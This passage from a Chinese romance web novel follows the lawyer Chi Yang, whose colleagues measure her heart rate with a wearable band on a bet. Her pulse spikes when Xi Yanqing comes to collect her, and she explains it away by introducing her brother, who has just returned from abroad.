白清让字里行间都是不解:“不是你让我劝劝她,坚持自己的爱好吗?”
席砚卿这才回想起来。明明就是几个小时前的事情,他却觉得过了很久。
“哦,我想起来了,劝的怎么样?”
白清让轻叹一口气:“没什么用,学这行的艰辛与苦累我都跟她说了,甚至都实战教学了,她也不在意。我还把金融系的方教授请来,给她讲了讲金融系要学的课程,对了,她是不是不喜欢学数学?”
席砚卿在脑海里大概搜寻了一下,嗯了一声。
“我说呢。方教授把金融学要学的课程大致介绍了一下,苏兮的表情随着微积分、线代、概率论的递进变得越来越不自然。”
“然后呢?”
“就这还要坚持,还说为了将来可以帮上你,她就是挑灯夜战也得把这些都学会。其实我没好意思说,这些你高中的时候就会了。”
“......”席砚卿沉沉叹了口气,语气相当的无可奈何,“如果她真的对这些感兴趣或者说她真的需要这些去养家糊口,那我没话可说。但她如果只是因为我才这样选择,因为我才走上这条路,那我必须拉住她,因为我给不了她想要的未来。放任她一意孤行,我会觉得自己在某种程度上断了她的梦想。”
“可她偏偏太轴。”白清让感慨道。
他清楚席砚卿的为人,在男女之事上向来来清清白白,不愿有任何的拖泥带水,他把苏兮带到自己面前,那也是他真的没办法了。
“你知道吗,我最后跟她说了一句话,我说凭你的资质,在音乐上坚持下去很可能成为领域内的佼佼者。但是走一条自己不感兴趣的路,再坚持再努力最终也可能泯然众人矣,这样不可惜吗?这样对得起上天给予你的天赋吗?”
白清让也是真的下了功夫,人生导师的架势都拿出来了。
结果没想到苏兮听了,扬起唇角淡淡一笑,不答反问:“您听说过钱学森和蒋英的爱情故事吗?在他们步入垂垂暮年的时候,蒋英对钱老先生说过一句话,她说中国可以没有蒋英这样的歌唱家,但是不能没有钱学森这样的科学家。他们那么伟大的人,都可以为了爱情为了对方做出牺牲,我为什么不可以?”
能言善辩的白清让一时语塞。
席砚卿听了白清让的转述,无奈地揉了揉眉心:“你当时就应该直截了当地跟她说,钱老先生对蒋英一见钟情,我又没对她一见钟情。”
白清让轻嗤一声:“我可说不出来这话,你怎么不自己去说?”
席砚卿轻叹一口气:“我早说了。”
白清让:“......你的意思是你都跟她摊牌了?”
“那不然呢,我不跟她摊牌,难道要耽误她一辈子?”
“她当时什么表现?”
席砚卿语调偏冷,听着有些颓:“强颜欢笑着说没关系。说实话,我到现在都不知道我做了什么,让她对我生出了这样的误解。”
白清让没忍住嗤笑一声:“你怕是不能正视自己的魅力。我问你,如果她不是苏默的女儿,这事儿你会管吗?”
“不会。”他答得果断又坚决。
听到这儿,白清让在内心默念了一句:多好的姑娘啊,又栽一个。
“我给你支个招。”白清让说。
“你说。”
“我看苏兮之所以总是对你抱有幻想,是因为你身边从来都没有人,那她肯定觉得自己有机会啊。你不是有喜欢的人吗,直接带着她往苏兮前面一带,小姑娘自然就死心了。”
席砚卿看着夜色,心绪突然飘远。
沉默了许久。
最终还是白清让打破沉默:“还没追到手?”
席砚卿淡淡说:“嗯。”
白清让:“......”
这姑娘,挺难追啊。
22. 气氛
池漾其实就是膝盖和小腿磨破了皮,再加上她本身就不是伤痕体质,第二天醒来伤口处都已经结痂,走起路来根本不影响,也没什么痛感。
所以她自然没把这件事情放在心上。
按照原计划,她今天是要带着孩子们去逛博物馆的。结果她话音刚落,就被齐媛严声拒绝:“我昨晚已经做了相当详细的攻略,你今天就别去了。”
池漾不放心:“那怎么能行?”
齐媛:“我也是在大城市上过大学的人,你还真以为我在山里待久了,连基本能力都丧失了?”
池漾:“我不是这个意思,这么多人,那地儿又远......”
两个人争执不下的时候,门铃突然响了。
席砚卿一身休闲装,站在门外。
晨光在他周边镀上一层金边,衬得他眉目和声色都温柔:“我想请你们帮个忙。”
齐媛侧身让他进来。
席砚卿:“我有个朋友,在外国语大学读旅游管理,暑假有项社会实践,是带小孩子们逛一些名胜。但现在孩子不好找,所以我就想起你们来了。”
听到席砚卿的这个请求,齐媛内心随即飘过一句弹幕:我信你个鬼!
席砚卿继续解释:“她对这座城市非常了解,你们有什么需求,她都会安排的很合理。”
齐媛反应过来席砚卿的醉翁之意,相当上道的说:“那真的是太谢谢席先生了,有这样一个专业人士在,就不用让池漾去了,要是去了,说不定还得我们照顾她,多耽误事儿啊。”
池漾:突然之间被嫌弃......
等齐媛带着孩子们走了,席砚卿才慢慢走到池漾身边,笑着问她:“今天准备做什么?”
池漾无奈摊摊手:“本来是准备带着他们出去玩的,现在没事干了。”
席砚卿满意地点点头。
心想很好,这就是他想要的结果。
结果没想到,这姑娘紧接着就是一句:“所以准备回公司上班。”
席砚卿:“......”
本来想让她好好在家休息,现在这是弄巧成拙了?
“你这腿?能开车?”席砚卿问她。
“当然能啊,我这个人最大的优点就是伤口的愈合能力特别强,”池漾得意地扬着下巴,似乎还挺骄傲,“现在一点都不疼了。”
沉默几秒,席砚卿妥协般地说:“我送你吧?”
池漾疑惑:“嗯?”
面对他人的疑问,一般有两种回答方法。
一种方法是解释原因把她说服,另一种是把自己的疑问句变成肯定句,让提问者无处可问。
很显然,席砚卿是后者。
他没再解释,再开口时将原来的疑问句变成了肯定句:“我送你。”
不给她疑问的机会,也不给她拒绝的机会。
于是,池漾时隔几个小时后,再次坐上了席砚卿的车。
她不知道该说什么,只好垂着目光看窗外。
沉默、却又不那么尴尬的气氛。
竟然莫名地,让人觉得还挺舒服。
车内气氛太安静,席砚卿怕她觉得无聊,默默把车载音响打开,语气温柔:“想听什么自己选。”
池漾调回目光,看着屏幕上的选择菜单,微微摇了摇头。
她也是在这时才发觉,她打从心底里不想破坏这样的平静。这样的气氛,给了她久违的能够抓住时光的踏实感。
“不用,就这样安安静静挺好的。”
柏油路尽头是早已跃过地平线的朝阳。
席砚卿听着她这句话,感觉新的一轮太阳,从他心底又破晓而出了一回。
一缕暖阳,生出千钧之势。
“池漾,”席砚卿抓住心底窜起的火苗,任它烧得更旺,“你这句话的意思是,就这样安安静静地,跟我待在一起,挺好的?”
席砚卿本是想撩人,结果没想到这话到了池漾耳中,瞬间变成了另一种含义——
冤枉啊!我说那句话绝对没有这个意思啊!
这个席砚卿见过的女人到底有多少,见过的套路到底有多少,才让他对着一句没任何多余含义的话,都能延伸出万千意味。
可想而知,他单身这么多年是有原因的!
因为任何一个女人带着一点苗头的示好,都能被他瞬间识破,然后掐死在摇篮中。
如果我回答了是,等待我的一定是一句:“那你想的还挺美的。”
等等!
他不会以为,我是想撩他吧!
苍天了个大地啊!
我哪有那能耐啊!
因此,仅仅几秒的时间,车内的气氛从舒服到暧昧,再成功地被池漾自编自导的小剧场,带偏成了尴尬。
池漾搜寻着该如何去破解这样的窘迫局面,毕竟邻居住着,太尴尬终究是不妥。
席砚卿感觉到她的无措,没执着于要个答案。
而是相当体贴地在内心进行了一下自我反省:难道是我说的话太含蓄了,她没理解透彻?要不换个更简单直接的问法?
于是,第二轮撩人战术伴着他的提问,再次扬帆起航。
“你知道我为什么要送你上班吗?”
这样问够言简意赅了吧!
够直抒胸臆了吧!
够简单直接了吧!
“嗯,因为你怕我出事。”
这次池漾答得挺快。
听到这儿,席砚卿内心终于泛起一丝窃喜,看来转变战略是很重要的一个思想,绝对不能在一种方式方法上吊死。
胜利的曙光就在前方,席砚卿循循善诱:“那你知道......”
结果,他的话刚说到一半,就被池漾打断了。
只听她一本正经地说:“这在法律上有种解释,叫做连带责任。”
要不说聪明人和聪明人对话,就是省事,根本不用多费口舌。
席砚卿一瞬间就明白了她这句话的意思:她这意思是说,他之所以送她,完全是因为她昨天救了白念笙。
“池漾。”
“嗯?”
“我总有一天要被你气死。”
“......”
-
十几分钟后,车子停在蓝仲律所楼下。
池漾带着满心的疑惑和不解下车。
结果,她刚一下车,双脚还没站稳,就听到一声朝气蓬勃的少年音在她身后响起:“池律!”
池漾回头一看,是蒋嘉末,与他同行的还有顾锦泽。
蒋嘉末连着快一个星期没见到池漾了,心中万分想念,一溜小跑着跑到她身边,笑呵呵地问道:“你不是休年假了吗?怎么来公司了?”
池漾对自己的腿伤闭口不谈,笑着跟蒋嘉末开玩笑:“想你了呗。”
蒋嘉末双眼放光:“真的吗?”
要不说,我们蒋同学身上总有一种天真又烂漫的可爱,正常人听到这话,谁会打破砂锅问到底啊?
池漾无奈耸耸肩,面上装得严肃,冷冷开口:“假的。”
蒋嘉末:“......我就知道。”
正巧这时,顾锦泽缓步走到他们身后:“连真话假话都听不出来,这律师你还是趁早别当了。”
蒋嘉末:“......”
心灵受到重创之际,蒋嘉末强势转移着自己的注意力,目光一瞥,就瞥到了驾驶座上的那个男人。
虽然仅有一面之缘,但他还是一眼就认出
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那是风盛投行的席砚卿。
席砚卿刚才没有马上驱车离开,本意是准备降下车窗跟池漾再叮嘱几句,没想到话还没说出口,就被这风风火火的小伙子抢了先。
感受到车外人的目光,席砚卿解下安全带下了车。
顾锦泽看清来人,金丝眼镜背后的眸色,瞬间复杂了几许。
蒋嘉末:“席总监好!”
“你好!”打过招呼后,席砚卿目光后移,对上顾锦泽的眼神,两个人默契地点头示意了一下,算是问好。
池漾看着他,不明白他为什么还没走。
直到他忽然凑近她,将刚才没来得及说出口的叮嘱落在她耳畔:“注意伤口,不要碰水。”
他的声音仿若疏浅车辙,清晰无痕地倾轧出尘埃的轨迹。
池漾耳边一阵温痒,眼前的一切在突然之间,变得具体而微。
她抬眸,喃喃道:“......好。”
恰逢此刻微风起。
-
池漾和顾锦泽、蒋嘉末一起进了公司。
蒋嘉末心思活跃地理了一下时间线:先是池律师和席砚卿一起出差,然后孟仲季一回来就说池律师好像有喜欢的人了,再然后就是池漾做席砚卿的车来上班。
所以,席砚卿肯定就是池律师喜欢的那个人。
想到这儿,蒋嘉末吃惊地张大了嘴巴,顺带着一声小小的惊呼。
池漾注意到他的动静:“怎么了?”
蒋嘉末尽力让神色恢复正常,犹豫了几秒,试探着开口:“池律师,你是不是在追席总监?”
池漾:“......”
这特么都什么鬼话!
不过,可能是刚才在路上说的那句“就这样安安静静挺好的”的后遗症吧,池漾竟然莫名地有点心虚。
但是,气势上绝对不能输!
只见池漾神色如初,轻咳一声,笑着开口:“你说这话......”
她一边拖长尾音一边看向蒋嘉末。
蒋嘉末看着她笑,还以为是自己猜对了,内心还有点小激动。
结果下一秒池漾就跟变脸似的瞬间换了表情,一副对簿公堂的冰冷神色,冷冷道:“证据呢?”
蒋嘉末:“......”
池律师怎么突然之间黑化了!好可怕!
“我瞎猜的......我瞎猜的......呵呵......”蒋嘉末尽力挽回着尴尬的局面,“池律师你可是我心中的女神,怎么轮得到你来追别人,要追也得别人来追你。”
电梯门叮的一声,到了。
蒋嘉末暗暗松了一口气,一边喊着“我上午还要去法院”一边飞快地逃离了现场。
池漾额头上的三道黑线,无形中又粗了一圈。
“你喜欢他?”
顾锦泽一路都没说话,似乎就是在等这一刻的直截了当。
“啊?”池漾还以为他问的是蒋嘉末,眉眼含笑,“挺可爱的啊,他还以为他惹我生气了,其实我逗他玩呢。”
说完,便抬脚往办公室走。
结果下一秒,顾锦泽却忽然拽住她的手腕,目光深邃,一字一句道:“我问的是席砚卿。”
池漾脚步一顿。
两个人就这么相对而立,池漾今天没穿高跟鞋,需要微微仰着头,才能迎上他的目光。
他的眸色很温柔,淡淡的浅棕色,经阳光一折射,像是碎了玻璃的湖面。
“没。”她上扬的目光终究还是垂了下来,“我不打算谈恋爱,也不会喜欢任何人。”
那层窗户纸,还未被顾锦泽捅破,就被池漾封上了一层胶。
层层叠叠,密不透风。
连破题都不知道从哪里破。
23. 心动
蓝仲律所前一段接了个案子,关于产权保护的,当事人是一家名为立明的科技研发公司。他们于去年十月份推出了一款健康监测仪,创新点在于此款监测仪体积小巧、监测准确,能够与手机APP相连,并且能够基于监测到的数值,对监测者的饮食、就医等情况提出专业建议。研发完成之后,公司进入产品内测阶段。
但恰巧这个时候,另一家科技公司率先将几乎完全一模一样的产品在市场上进行发售。
最终,立明以侵权为由,将其告上了法庭。
顾锦泽接了这个案子,通过证据证明是对方公司通过不正当竞争手段,盗取了商业机密,并最终胜诉。
立明的老板对顾锦泽感恩戴德,直言这是他倾注了最多精力的项目,几乎压上了所有的资本,如果这次败诉,他所有的投入都将成为一场空。
并且多次表示要做东好好答谢为这个案子付出努力的每一个人,却被顾锦泽拒绝。
无功不受禄,他们只不过做了分内的事,没立场去接受额外的报答。
请吃饭不成,立明老板选择了更为实际的答谢方式——
给蓝仲律所的每一个人都送了一个健康监测仪。
并且相当有诚意,亲自送上门来,且送完就跑。
于是,当池漾正准备下班回家的时候,就被稀里糊涂地拉进了热闹十足的会议室。
她目光大致一扫,就知道这一伙儿人肯定没安什么好心,这气氛是在开会就怪了!
投影开着,上面显示着一个不知道是什么APP的界面,同事们人手一个小东西,不知道在摆弄着什么。
她倒是不介意玩玩闹闹地跟大家打成一片。
但是今天,她还要去找齐媛和孩子们,因此没表现出太大的兴趣,打了声招呼就准备走。
结果还没等她转过身来,孟仲季就拽住了她,兴致盎然道:“池律师,先别急着走啊,我们来玩个游戏。”
池漾挑眉:“什么游戏?”
“很简单,就测测你的心率。”
池漾摆摆手,没有表现出丝毫的兴趣:“我每年都体检,健康得很。”
孟仲季贼心不死:“别啊,不会耽误太多时间的,一会儿就好,我们大家都测了。”
“对啊,我们大家都测了。”
“池律师也测测呗。”
“对啊,对啊!”
“......”
一群助攻在背后大声嚷嚷,阵容相当浩大。
她不知道这些人葫芦里卖的什么药,但也不想扫大家的兴。并且拉扯来拉扯去,还不如直接测了,反倒省时间。
这样想着,她利落地在椅子上坐了下来,目光轻抬,终于看清楚投影上显示的数值是心率值。
监测仪是手环式。
池漾刚在位子上坐好,就有个女同事过来给她带上了手环。
紧接着,屏幕上的数字逐渐攀升,最后停在80上下。
池漾骄傲地晃了晃手臂:“就这体格,为祖国的法律事业再奋斗五十年都不成问题。行了吧,可以放我走了吧。”
“等下!”突然,一个声音横空出世。
池漾被这声势浩大的阵仗惊了一下,屏幕上的数字上升了一点点。
但也只是一点点。
紧跟着,孟仲季手拿遥控器点了一下,平地一声吼:“池律!看屏幕!”
池漾目光随之望去——
一张惹人垂涎的腹肌照被投放在屏幕中间,目光上移,是一张荷尔蒙爆棚的脸。
池漾:???
“这人谁?”她语气冷冷。
没有人做声。
见状,池漾目光审慎地扫了一眼会议室,就立刻发现了一些不对劲儿。
所有人以会议桌为界限,分成了左右两拨,且这两拨人此刻的状态完全不同——左边的人都憋着笑,右面的人则是一脸战败的悲壮。
很显然,孟仲季属于悲壮那一拨的。
不过,他没有就此止步。
虽说“一鼓作气,再而衰”,但不是还有句老话,叫做事不能半途而废吗?
于是,孟仲季手指一按,屏幕上换了另外一张照片。
与上一张完全不同的风格,照片里的男人正慵懒散漫的坐在地上,衣领开的低,露出一大片白的刺眼的肌肤,一张脸长得精致魅惑,桃花眼微微挑起,眼尾一点殷红。
池漾掀眸瞥了一眼,冷漠的声音再次响起:“这又谁?”
投影上的数字终于有了些变化。
——明晃晃地,下降了两位。
众人:“......”
原先左边憋笑的人此刻也有点搂不住,笑得放肆了些。
不升就挺难得了,这还往下掉是怎么回事?
此刻孟仲季的表情已经有点不好看了。
虽说“一鼓作气,再而衰,三而竭”,但不是还有句老话,叫做事不能死脑筋吗?
于是,他手指再次一点,屏幕上换了另外一张照片。
跟第一张、第二张完全不同的风格,这次奶油小生,整个人清新得能掐出一汪水来。
看到这儿,池漾心里终于有了点小脾气,不明白自己为什么要浪费时间留下来玩这个傻叉的游戏。
她揉了揉眉心,有点不耐烦:“这几个人都被官司缠身了?”
投影上的数字掉落得稳稳当当。
众人:“......”
蒋嘉末大喊:“三秋!请客!你们输了!”
孟仲季听了,抬手撩起笔就朝他扔去。
一是气他跟同事抖搂他的糗事,叫他的外号;二是气他在池律师面前说漏了嘴。
池漾看着会议桌两边冰火两重天的氛围,微微蹙了下眉,发觉事情并不简单。
敢情是拿她当赌注了?
不过,测心率来打赌,赌注是什么?
一边赌她身体健康,另一边赌她身体不健康?
她观战了一会儿,始终没想明白。
直到顾锦泽从法院回来,听到会议室一阵闹腾,便想着进来看看发生了什么事儿。
同事们看到老大来了,终于收敛了一丝锋芒。
顾锦泽扫了一眼会议室,没想到,人还挺全乎。
池漾坐在正中间的位置,正一脸茫然地看着大家。
坐在会议桌两边的人,虽然说话声音低了些,但是眼神传递丝毫没有停止。
一边挤眉弄眼,一边臊眉耷眼。
顾锦泽慢慢走到池漾的位置,开玩笑道:“又觊觎你们池律师的美貌,心甘情愿陪着加班呢?”
池漾闻声侧了下脸,一脸无辜地反驳:“加什么班,我本来都准备走了,被硬拉过来的,压榨员工这锅我可不背。”
顾锦泽目光轻抬,扫了一眼大家:“那你们这是?”
池漾趁势接上:“对啊,到底怎么回事,说清楚。”
众人:“......”
好可怕!
两大律师联起手来真的好可怕!
“三秋,你挑起的事端,你说。”
蒋嘉末一秒钟不对孟仲季犯贱,就难受。
孟仲季瞪蒋嘉末一眼:蒋嘉末,你是不是找死!
随后,他假笑了声,看着池漾和顾锦泽,讪讪道:“今天下班的时候,立明老总送来了一箱健康监测仪。”
顾锦泽点点头:“这事儿我知道,他刚才跟我说了,既然送了,你们就收下吧。”
“然后呢?”池漾插话进来。
“然后、然后......然后我们就自娱自乐钻研了
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一下,顺便测了测各自的健康指数。”孟仲季说到这儿,突然换了一种语调,语气高亢地说:“顾律师,池律师,你们放心,我们大家都非常健康!有足够的精力和体力!为律所鞠躬尽瘁!死而后已!”
顾锦泽:“......”
莫名有些感动。
池漾:“......”
你们骗鬼呢?
池漾看了眼时间,不想浪费太多时间,直入主题地问:“说打赌这事。”
孟仲季知道他是逃不过了,于是全招了:“就是大家都说,池律师你好像从来都不怎么在意男女之事,在这方面给人的感觉总是很淡漠,很禁欲。好像不管多帅的帅哥站在你面前,你都不会心动。可是我觉得不是这样的,于是就跟大家打了赌。”
池漾耐着性子问:“赌什么?”
孟仲季:“赌你见了帅哥会不会心动。”
池漾:“......”
这群孩子被工作压力逼成啥样了啊......
“我又不是三岁小孩儿,”池漾一脸哭笑不得的表情,戏谑道,“早过了看着照片臆想的年纪,下次搬个真人过来。”
她话音刚刚落,就听到角落里不知道谁说了一声:“顾律师不就是真人吗?”
顾锦泽:“......”
特么的我不要面子的吗?
池漾:“......”
工作压力是什么东西,她觉得还可以再加点。
池漾颇为无奈地叹了口气:“这下证明了吧,我天生淡漠,不管是屏幕上的帅哥,还是现实中的帅哥,都打动不了我,所以以后别再拿我的终身大事打赌了,可以吗?”
这个回答挺妙,既挑明了顾锦泽是个帅哥,为他保全了面子;又表明了自己的态度,毕竟私事被人议论来议论去,谁心里都不舒服。
“行了行了,都散了吧。”池漾摆摆手,拿上包正准备往外走。结果刚一起身,门外一个身影,毫无预兆地落入她的视线。
那句诗怎么说来着?
正是江南好风景,落花时节又逢君。
他就这么站在门外,跟早上全然不同的装扮。
这是她第一次见他穿黑衬衫,领口两颗扣子半敞,露出他白皙细长的脖颈;衣袖被整整齐齐地折起,挽到下手肘处,露出精瘦小臂,低调奢华的袖扣在夕阳余晖中闪着勾人的光。
贴身的黑色西裤自腰间垂直而下,从衣领到脚踝的所有线条都格外贴合工整。
他身子微微倾着,站在离她几步远的地方,垂眸对她笑。
看到这一幕,池漾心里只有一个感觉,那就是——他的笑,真的干净透了。
不掺杂任何杂质的温柔与坚定,从他的眼底传递到她的心扉。
池漾没来由地觉得有团小火苗,从她的肺腑慢慢烧至喉间。
果然今天早上燃起的火苗,还是找上门来了!以更甚的火势!
有点要命!
火烧喉咙,殃及了她的音色,池漾觉得她完全是凭着潜意识才问出的那句:“你怎么在这儿?”
席砚卿眉眼含笑,自然至极地说:“来接你回家。”
语气熟稔得像是老夫老妻。
“哦、哦、但我......”池漾本想说但我要去接齐媛,但拒绝的话在心底酝酿了一遍又一遍,她就是说不出口。
她感觉自己整个人,前所未有地陷入了一种被感性掌控的境地,而不是理性。
心里兜兜转转好几个回合,她最终的回答还是落在一句肯定,落在一声轻轻的:“好。”
像着了魔。
“快看!”
孟仲季突然制造一声惊雷。
众人闻声望去。
屏幕正中间的数字一路飙升,就快突破一百大关。
24. 转折
“我就说池律师怎么可能对所有人都不动心!”
孟仲季一脸洋洋得意的表情。
这意味着,他们这一方反败为胜,赢了。
看到这儿,池漾感觉自己竭力隐藏在心底的秘密被全然曝光在众目睽睽之下,想到这儿,她的脸唰一下就红了,手忙脚乱地开始摘手环。
其实手环上有个开关,她只要轻轻一扣就能打开。
但刚才她的手环是女同事替她戴上的,她不知道这个开关。于是,她只能硬摘,像摘手镯那样地硬往下摘。
无奈的是,怎么摘都摘不下来。
再加上着急,屏幕上的数字依然在涨。
见此情况,她陷入恶性循环——越来越着急。
席砚卿站在门侧,观看了一会儿才反应过来到底是怎么一回事。
等他从屏幕上收回目光朝池漾望去的时候,只见她正动作剧烈地,在摘那个手环。
剧烈到,他甚至都感觉她会把自己的手腕弄伤。
不经犹豫,席砚卿立马大步迈了上去,想要制止她的动作。
池漾用余光瞥到他走近的身影,心跳再次加速。
她慌了。
慌得彻彻底底。
可是,就在她抬眸的瞬间——
一个身影,像是救命稻草般,闯入了她的视线。
-
席砚卿快步朝她逼近,就快要抵达她身边的那一刻,只见她突然之间直起了身子,动作慢了下来,脸上的表情也恢复了正常,跟刚才的慌张失措,瞬间判若两人。
看她慢下了动作,席砚卿终于稍稍放下了心,在离她只有一步之隔的地方停住了脚步。
会议室所有人的目光都集中在这个令池漾心动的男人身上。
池漾自然明白,那一双双眼神背后,是惊讶与好奇共同激发的探究欲。
她更明白,席砚卿虽然是半途来访,但很显然,这一折腾,她的心动肯定被他看得彻彻底底。
箭在弦上,疾风又起。
千钧一发间,一个熟悉身影映入她眼帘。
池漾面不改色,内心却用几秒时间,天人交战了好几个回合。
电光石火间,她终于觅得良机。
原来的慌乱在顷刻间消失殆尽,她微垂着目光,将手环轻轻一转,终于找到那个盘扣,“咔哒”一声,手环被她慢条斯理地摘了下来。
接着,她抬眼对上所有人的目光,声色淡定地开口:“想必很多人也听说过,我有个弟弟,在美国读书。但你们可能不知道,我跟他的相处模式。”
众人:???
怎么突然扯这个?
刚刚来到门外的云锦书:???
我怕耽误你工作特意下班时间来见你,我怕影响你工作特意站在门外不敢贸然进去,现在这是要怎样,当着同事的面介绍起我来了?
“我从小就对他要求很严格,没怎么夸过他。但是......”池漾本来只是想赶紧让这事儿翻篇,别让席砚卿误会了,但没想到说着说着竟然有些难以控制自己的情绪,毕竟对于云锦书突然回国这件事她没有任何的思想准备,所以言语有些抑制不住地颤抖,“但他是我在这世上唯一的亲人了,所以我很爱他。”
听到这句话,会议室里瞬间安静了下来,刚才的闹腾瞬间不见了踪影。
同事里有几个人是知道池漾的家庭情况的,剩下的人也或多或少地听说过,所以一般情况下没人去主动提及这个话题,没人会不长眼地去戳别人的伤疤。
可当池漾亲自把这件事说出来,虽然是以千帆过尽云淡风轻的语气说的,但大家的心还是被狠狠地揪了一下,打赌的事情早已被抛到了九霄云外。
气氛沉默片刻,还是池漾把大家的思绪从悲伤中拉了回来:“所以这也是我为什么心率飙升的原因,他突然回来,给了我太大的惊喜。”
说完,池漾朝门外摆摆手,大大方方地示意:“阿锦,过来跟哥哥姐姐打个招呼。”
听了这话,众人如牵线木偶般,一溜地朝门外望去。
包括席砚卿。
一个青春洋溢的少年,正从门外缓缓走来。
蓝色棒球帽压住他额前碎发,下方的眼睛像是和池漾从一个模子刻出来的那样,干净透亮,一尘不染,唇角扬着暖暖的笑意。
他穿了件深蓝色T恤,背脊挺拔,身材清瘦。
打眼看去,少年人的美好气质瞬间扑面而来。
——干净、清爽、帅气、明媚。
云锦书单肩背着一个黑色书包,右手虚虚地勾着包带,左手则懒散随意地插在裤袋里,眼底、唇梢含着笑意。
池漾一眼就看穿她这个臭屁弟又在凹造型,无奈抚额。
但这只是她心中的形象,在别人眼中,云锦书就像是从漫画里走出来的棒球王子,清俊帅气,青春逼人。
怪不得池律师看着奶油小生面不改色,跟这么个奶油小生一起长大,怕是对美色这类的东西早已经免疫了吧。
云锦书在众人的眼光中缓缓向前,依次与顾锦泽、席砚卿擦肩而过,径直走到池漾身边,笑着说:“姐,我回来了。”
池漾这个人能装的很,别看心里早已翻山倒海,面上依然维持着一副淡定自如的模样:“快,跟大家打声招呼,然后我们就走了。”
云锦书看着会议室里的大家,大大方方地开口:“大家好,我叫云锦书。谢谢大家平常对我姐姐的照顾,有机会请大家吃饭。”
少年气是天底下最昂贵的奢侈品,一声简单的问候都能让听者如沐春风、心旷神怡。
“你们是亲姐弟吗?”有同事注意到他的姓氏,随口问了句。
“是啊。”云锦书笑着回复,眉宇间都是骄傲。
“那你怎么姓云啊?”
“我跟我妈姓。”云锦书依旧笑着,像在回答一个再寻常不过的问题。
问的人无心,听的人却有意。
一直在门外吊儿郎当站着的叶青屿,听到这话迅速站直了身子,心惊胆战地看向池漾,捕捉到她瞬间黯下来的眸色,他正准备进去拉她出来。
还好池漾眼疾手快,拉着云锦书就往外走。
她再顾不上别的。
尤其顾不上传入她耳膜的那阵私语——
“我觉得,池律师的家庭真的好民主啊,一男一女的家庭若是有人随母姓,一般都是女孩子,池律师家却是男孩子随母姓。”
“这都什么年代了,还重男轻女呢?”
“这叫哪门子重男轻女啊,这分明是重视女儿好不好!”
......
叶青屿站在门外,自然而然也听到了这组对话。
他本以为一针见血这个词就够残忍了,却忘了还有个词,叫字字诛心。
池漾看到正准备走进去的叶青屿,动作迅速地挽上他的胳膊:“青屿,走了。”
三人逐渐消失在众人的视线之中。
-
叶青屿开着车,池漾和云锦书坐在后座。
池漾看着云锦书,一脸嫌弃道:“这到底怎么回事?你们俩搁我这儿表演大变活人呢?”
这语气听来,就仿佛这俩人的出现对她来说,不是惊喜,而是惊吓。
叶青屿余光瞥向后视镜,看着她明明心里乐开了花还偏偏死要面子活受罪的傲娇样儿,大胆挑衅道:“你给钱了吗就想看大变活人?”
池漾撇撇嘴:“跟谁稀罕看似的。”
......行吧,她承认她还挺稀罕。
“还有你,怎么回来也不提前打个招呼?你不会论文没过,被开除学籍了吧?”
云锦书:“......”
我好歹是你亲弟好不好!
我好歹跟你流着一样的血有着同样的基因好不好!
你就算不相信我的智商,能不能相信一下自己的智商!
见他不说话,池漾又开始猜测另一种可能:“难道你是被遣返的?”
云锦书:“......”
少年一脸憋屈,言语间都是深深的无奈:“亏我刚才还因为你说你爱我感动了那么一下,呵,果然女人的话都不能当真。”
池漾睨他:“呵,你不也只是感动了那么一下么,看来男人的心都冷漠如此。”
云锦书:“......”
他一个理科生为什么要自寻死路地跟他当律师的姐姐辩论?
至于回来的原因,反正迟早都得说,况且这事儿也没什么可藏着掖着的。云锦书假模假式地清了清嗓子,一本正经道:“我正式宣布一下,未来五年,我都将会待在这座城市。”
池漾:“......”
这话什么意思?
据她了解,这小屁孩不是早已经决定继续在国外读研究生了吗?
这么一琢磨,池漾音调飙得比刚才的心率都快,瞬间瞪大了眼睛:“所以你,真的被开除学籍了!”
“不是!”云锦书一脸无奈,“姐,我在你心中就这么不靠谱吗?”
“你才知道?”
“......”
云锦书叹了口气,认认真真地解释:“没被开除学籍,已经顺利毕业了。未来五年,我会在京大攻读博士学位。”
池漾松了口气,但依然觉得哪里不对劲,问他:“这么大的事不是临时决定的吧,得提前申请吧?”
云锦书眉眼飞扬,一脸得意神色:“那可不是咋地,竞争相当激烈,多少人挤破了头想进。”
池漾冷哼一声:“所以说你一直在骗我?”
云锦书:“......”
为什么他刚一回国就接二连三遇到语塞的情况,难道是在国外待久了语言能力退化了?
池漾目光向前一挑,看着后视镜转而跟叶青屿对话:“你跟他一伙儿的?”
叶青屿轻咳一声,没作答。
池漾扭过脸,抿唇偷笑。
-
池漾在清风酒店订了个包厢,跟齐媛说好
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在那里汇合。
齐媛和孩子们到的比他们早。
云锦书一听说南栖的孩子们来了,也是相当兴奋,上去就跟齐媛和孩子们打招呼,不一会儿就玩成了一团。
叶青屿终于寻得了和池漾单独相处的机会。
找准了时机,他直入主题地问:“刚在律所,站在你旁边的那个男的,是谁啊?”
听到这个问题,池漾表情突然之间变得有点不自然,避重就轻地回答:“顾锦泽啊,你俩不是见过吗?”
叶青屿轻啧一声,眼尾的褶微微上挑,语气傲慢又慵懒:“你骗鬼呢?”
池漾:“......”
“那人,我见过。”叶青屿知道他们做律师的,一向是只看事实和证据,那他就摆明事实,看她还会不会嘴硬不承认。
池漾无语,心想今天也才是你俩第二次见面吧,上一次还是很久之前在机场,见面时间撑死不到十秒钟,她也没给你们介绍彼此,就这儿你也能记住?
有的模特跟你合作那么多次,她一个外行人都有了印象,也没见你记住啊。
见池漾依然不松口,叶青屿直接挑明事实:“去机场接你那次,我们俩打过照面。”
池漾:“......这话什么意思?”
“意思就是我那次接到你,悄悄回头跟那个男人对视了一下。”
池漾觉得莫名其妙,忍不住吐槽:“我说你一个设计衣服的,没事总盯着人家的眼睛看干什么,听起来怪瘆人的。”
“那是礼貌好不好!”叶青屿背靠着沙发,“还有,其实最先吸引我的,就是他身上的衣服。”
“嗯?”
“他好像挺喜欢我的设计风格,上次穿的西装和这次穿的衬衫,都出自我手。”
“是吗?”池漾嗤然一笑,“那他眼光还挺差。”
叶青屿:“......”
律师毒舌惯了毒舌惯了!
职业病职业病!
不能气不能气!
你需要找到她的薄弱点一招击破!
叶青屿在心中默念着战术,转念一想,突然想到池漾还真有“把柄”在她手上。
想到这儿,他突然笑了下,不疾不徐地开口:“是吗?那我等会儿就把那件你问我要的衬衫给扔了,毕竟出自我手的,都是失败的作品。”
等等!
池漾突然感觉自己遗漏了什么重要的环节!
终归是拿人手短,她想了想,还是决定放下面子:“怪我嘴拙,叶大师设计的作品,那肯定都是上乘之作。”
叶青屿看着她故意避开有关那个男人的话题的样子,意味深长地笑了一下,没有继续追问下去。
他了解池漾,有些问题并不需要多问。
至少现在不需要。
-
吃完饭之后,池漾又叫了辆车,先让齐媛带着三个男孩回家。
